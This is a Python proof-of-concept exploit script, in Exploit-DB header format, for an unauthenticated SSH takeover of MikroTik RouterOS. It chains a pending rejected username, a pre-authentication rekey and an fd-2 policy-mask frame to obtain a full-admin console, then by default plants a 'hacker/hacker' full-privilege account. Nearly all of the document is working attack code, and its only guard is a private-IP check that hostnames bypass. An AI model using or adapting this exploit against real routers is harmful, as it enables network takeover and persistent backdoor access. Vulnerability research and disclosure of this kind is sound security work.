#!/usr/bin/env python3
#
# Exploit Title: MikroTik RouterOS <= 7.23.3 - Unauthenticated SSH Session Policy-Mask Swap (Full Admin)
# Date: 2026-09-17
# Exploit Author: DigiProSec
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: RouterOS < 6.49.21, 7.0 < 7.23.4, 7.24.0 < 7.24.2 (fixed in 6.49.21 / 7.23.4 / 7.24.2)
# Tested on: MikroTik CHR 7.23.3 (x86_64), Kali Linux 2025.x, python3-paramiko
# CVE: CVE-2026-86060
#
# CVE-2026-86060 — Unauthenticated full takeover of MikroTik RouterOS via
# SSH session policy-mask swap ("MikroTrick" campaign, in the wild from
# 2026-09-02; CERT.pl withheld exploit-enabling detail)
#
# Chain:
# 1. USERAUTH as "-2" instantly rejected, but the username stays PENDING
# in the server's session state (unnamed state bug).
# Produces the IoC: "login failure for user -2".
# 2. CVE-2026-67279 a rekey requested before authentication makes the
# server lose the "must be authenticated" gate.
# 3. CHANNEL_OPEN + PTY honored without authentication; the interactive
# shell spawns /nova/bin/login with the pending "-2".
# 4. CVE-2026-86060 the login helper's legacy transport treats a
# dash-led positional as a file descriptor: it reads
# up to 4096 bytes from fd 2 (the PTY) and splits on
# NUL into REPLACEMENT IDENTITY + REPLACEMENT POLICY
# MASK. Feed it: "0" NUL "4294967295" NUL VEOF VEOF.
# The all-ones mask is clamped to RouterOS's full
# policy set (0x9fe6e). The session comes up as full
# administrator. Actions are logged as ssh:-2@<ip> —
# the byte-for-byte campaign fingerprint.
#
# Tested: CHR 7.23.3 (vulnerable) vs CHR 7.23.4 (patched, exploit correctly
# fails). Deterministic: 3/3 runs in lab.
# Notes: - Only the SSH service (port 22) is required; default config is
# vulnerable. No credentials, no user interaction.
# - This is a lab client: it refuses non-private IP targets.
# - paramiko is used for transport plumbing only; the bugs are
# triggered by patching paramiko's client-side auth gate, all
# exploit semantics are implemented here.
#
# Usage: python3 poc_mikrotrick.py <host> # interactive full-admin console
# python3 poc_mikrotrick.py <host> "<ros command>" # run one command, exit
#
import ipaddress
import sys
import time
import paramiko
IDENTITY = b"0" # replacement identity (becomes the prompt user)
MASK = b"4294967295" # all-ones -> clamped to full policy set
VEOF = b"\x04" # PTY VEOF control byte
def check_target(host):
try:
ip = ipaddress.ip_address(host)
if not ip.is_private:
print(f"[-] {host} is not a private address; lab client refuses")
return False
except ValueError:
pass # hostname — assume lab
return True
def drain_until(chan, want, timeout):
end = time.time() + timeout
buf = b""
while time.time() < end:
if chan.recv_ready():
buf += chan.recv(65536)
if want in buf:
return buf, True
time.sleep(0.05)
return buf, False
def exploit(host):
"""Open a full-admin RouterOS console channel. Returns (transport, chan)."""
t = paramiko.Transport((host, 22))
t.start_client(timeout=10)
# step 1 — leave "-2" pending in server session state
try:
t.auth_password("-2", "x")
except paramiko.AuthenticationException:
pass
print("[1] '-2' rejected (pending in session state)")
# step 2 — CVE-2026-67279: pre-auth rekey drops the server-side auth gate
t.renegotiate_keys()
print("[2] rekey done (CVE-2026-67279)")
# step 3 — open a session channel unauthenticated (client-side gate is
# patched; the SERVER is the one that incorrectly honors the open)
if not t.is_authenticated():
t.is_authenticated = lambda: True
chan = t.open_session(timeout=10)
chan.get_pty(term="vt100", width=120, height=40)
chan.invoke_shell()
print("[3] session channel open without authentication")
# step 4 — CVE-2026-86060: feed the login helper's fd-2 read.
# Framing: identity NUL mask NUL, then two VEOF bytes (canonical-mode PTY:
# first VEOF delivers the buffer without appending, second yields EOF).
time.sleep(0.6)
chan.send(IDENTITY + b"\x00" + MASK + b"\x00" + VEOF + VEOF)
print("[4] fd-2 identity/policy frame sent (CVE-2026-86060)")
# the RouterOS console interrogates the terminal; answer its DSR probe
# whenever it appears, and keep draining until the prompt shows up
end = time.time() + 12
buf = b""
while time.time() < end:
if chan.recv_ready():
buf += chan.recv(65536)
if b"\x1b[6n" in buf:
chan.send(b"\x1b[24;80R")
buf = buf.replace(b"\x1b[6n", b"", 1)
if b"] >" in buf:
break
time.sleep(0.05)
else:
raise RuntimeError("no RouterOS prompt after policy frame — exploit failed")
print("[+] full-admin RouterOS console is up")
return t, chan
def run(chan, command, settle=1.5):
chan.send(command.encode() + b"\r")
out, _ = drain_until(chan, b"] >", 8)
# console text carries \r overwrites and ANSI colors — normalize for display
import re as _re
text = out.decode(errors="replace")
text = _re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1bZ", "", text)
lines = [ln.strip() for ln in text.replace("\r", "\n").split("\n")]
lines = [ln for ln in lines if ln and not ln.endswith("] > " + command)
and ln != command
and not _re.fullmatch(r"\[[^\]]*\] >\s*", ln)] # bare prompts
return "\n".join(lines)
def interactive(chan):
"""Relay the local terminal to the channel until the session ends.
NOTE: the post-exploit console is unstable by design — a later rekey
re-arms the server-side auth gate and the channel dies without warning.
Kept for completeness; the default mode plants an account instead.
"""
import os, select, termios, tty
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd)
try:
tty.setraw(fd)
chan.settimeout(0.0)
while True:
r, _, _ = select.select([chan, fd], [], [])
if chan in r:
data = chan.recv(65536)
if not data:
break
while b"\x1b[6n" in data:
chan.send(b"\x1b[24;80R")
data = data.replace(b"\x1b[6n", b"", 1)
while b"\x1b[5n" in data:
chan.send(b"\x1b[0n")
data = data.replace(b"\x1b[5n", b"", 1)
if data:
os.write(sys.stdout.fileno(), data)
if fd in r:
data = os.read(fd, 4096)
if not data:
break
chan.send(data)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old)
def plant_account(chan):
"""Create the hacker/hacker full-privilege account for the tester."""
run(chan, ":do {/user remove hacker} on-error={}")
run(chan, '/user add name=hacker group=full password=hacker comment="test account - remove when done"')
out = run(chan, "/user print where name=hacker")
if "hacker" not in out:
raise RuntimeError("account plant failed")
def main():
if len(sys.argv) < 2:
print("usage: python3 poc_mikrotrick.py <host> [\"<ros command>\"]")
return 2
host = sys.argv[1]
if not check_target(host):
return 1
t, chan = exploit(host)
try:
if len(sys.argv) > 2:
print(run(chan, " ".join(sys.argv[2:])))
else:
# default: plant a full-privilege test account and hand over the
# login command. The exploited console itself is unstable (a
# later rekey re-arms the auth gate and kills the channel), so
# the durable path is a normal SSH login.
plant_account(chan)
print("[+] full-privilege account planted: hacker / hacker")
print(f"[*] log in with: ssh hacker@{host}")
print(f"[*] when finished, remove it: /user remove hacker")
finally:
t.close()
return 0
if __name__ == "__main__":
sys.exit(main())